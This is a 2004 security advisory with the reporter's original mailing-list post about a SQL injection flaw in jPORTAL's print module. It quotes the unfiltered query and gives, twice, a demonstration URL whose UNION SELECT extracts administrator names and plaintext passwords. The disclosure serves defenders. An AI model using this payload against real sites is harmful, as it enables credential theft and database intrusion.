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jPORTAL Input Validation Hole Lets Remote Users Inject SQL Commands
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SecurityTracker Alert ID: 1010327
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SecurityTracker URL: http://securitytracker.com/id?1010327
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: May 28 2004
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Impact: Disclosure of user information, Modification of user information
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Exploit Included: Yes
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Description: An input validation vulnerability was reported in jPORTAL. A remote user can inject SQL commands.
Maciek Wierciski reported that 'module/print.inc.php' does not filter user-supplied data, allowing a remote user to submit a specially
crafted query to execute SQL commands on the underlying database.
A demonstration exploit URL is provided:
http://xxxxx/print.php?what=article&id=X
AND 1=0 UNION SELECT id,id,nick,pass,id,id,id,id,id from admins LIMIT 1
The report indicates that there are additional flaws
in the code.
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Impact: A remote user can execute SQL commands on the underlying database.
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Solution: No solution was available at the time of this entry.
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Vendor URL: jportal2.com/ (Links to External Site)
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Cause: Access control error, Input validation error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: Maciek Wierciski <ziemni@risp.pl>
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Message History:
None.
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Source Message Contents
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Date: 28 May 2004 01:35:33 -0000
From: Maciek Wierciski <ziemni@risp.pl>
Subject: JPortal SQL Injects
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Jportal is a portal system, quite commonly used:
(Google)
Results 1 - 10 of about 56,100 for "powered by jportal". (0.22 seconds)
Homepage:
http://jportal2.com/
I've read its code and found:
in module/print.inc.php:
function art_print() {
....
$query = "SELECT * FROM $art_tbl WHERE id=$id";
...
What to say? ;]
example exploitation:
http://xxxxx/print.php?what=article&id=X AND 1=0 UNION SELECT id,id,nick,pass,id,id,id,id,id from
admins LIMIT 1
result: unhashed admin password.
There are a lot more bugs in it, imho whole system should be rewritten from a scratch (also using pas
sword hashing is a good thing
i think :)
Maciek 'ziemniaq' Wierci?ski
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